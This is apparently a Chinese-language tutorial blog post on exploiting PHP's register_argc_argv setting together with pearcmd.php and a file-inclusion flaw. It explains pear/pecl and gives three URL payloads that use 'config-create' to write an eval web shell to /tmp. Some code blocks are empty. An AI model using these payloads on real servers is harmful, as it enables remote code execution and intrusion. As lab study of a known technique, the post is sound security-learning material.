register_argc_argv
当php.ini中register_argc_argv是on时,$_SERVER['argv']
可以获得命令行参数。
register_argc_argv默认是off,所以在本地做实验时,需要自己修改一下php.ini;
创建一个test.php内容如下
1 |
|
成功执行命令
也可从phpinfo中看出$_SERVER['argv']
的值
pearcmd.php
pear,pecl
pear和pecl都是与PHP扩展相关的工具。PEAR(PHP Extension and Application Repository)是一个PHP扩展和应用程序的存储库,它允许用户轻松地安装和管理PHP代码。PECL(PHP Extension Community Library)是一个独立的项目,它提供了一些PHP扩展,这些扩展通常不包含在PHP的核心发行版中。PECL中的扩展通常需要通过PECL工具来安装和管理。因此,PEAR和PECL都是用于管理PHP扩展的工具,但它们的内容和用途略有不同。
来自p神:pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear
才会安装。
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
安装
1 | sudo apt install php-pear |
linux默认路径
1 | /usr/share/php/pearcmd.php |
当我查看pear和pec个文件有什么区别时;你会发现这个文件只有最后一行不太一样,基本都是去调用了/usr/share/php/peclcmd.php
1 | ┌──(kali㉿kali)-[/usr/share/php] |
/usr/share/php/peclcmd.php
其实没什么用,就是检查一下路径,再去包含pearcmd.php,当你使用pecl或pear命令是,其本质就是去运行了pearcmd.php文件,可以说pearcmd.php
文件就是pear或pecl命令行的源码;(这里当时我还把perl
和pecl搞混淆了)
1 | #peclcmd.php |
漏洞利用
漏洞利用
漏洞利用:include+register_argc_argv=on+pearcmd.php
在Console/Getopt.php
中的readPHPArgv函数中可以通过Web访问了pear命令行的功能,且能够控制命令行的参数
1 | public static function readPHPArgv() |
在pear中有一个config-create
参数可以创建文件,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中(这个参数也要也/
开头)
1 | ┌──(kali㉿kali)-[/usr/share/php] |
实验一
创建一个index.php,内容如下:
1 |
|
payload,下面几种都可以,没什么好说的;尝试自己理解一下
1 | /index.php?+config-create+/&zixyd=/usr/share/php/pearcmd.php&/<?=eval($_POST[1])?>+/tmp/test1.php |
1 | /index.php?&zixyd=/usr/share/php/pearcmd.php&+config-create+/<?=eval($_POST[1])?>+/tmp/test2.php |
1 | /index.php?+config-create+/<?=eval($_POST[1])?>&zixyd=/usr/share/php/pearcmd.php&+/tmp/test3.php |
疑惑
为什么config-create
参数都要从第二个参数开始: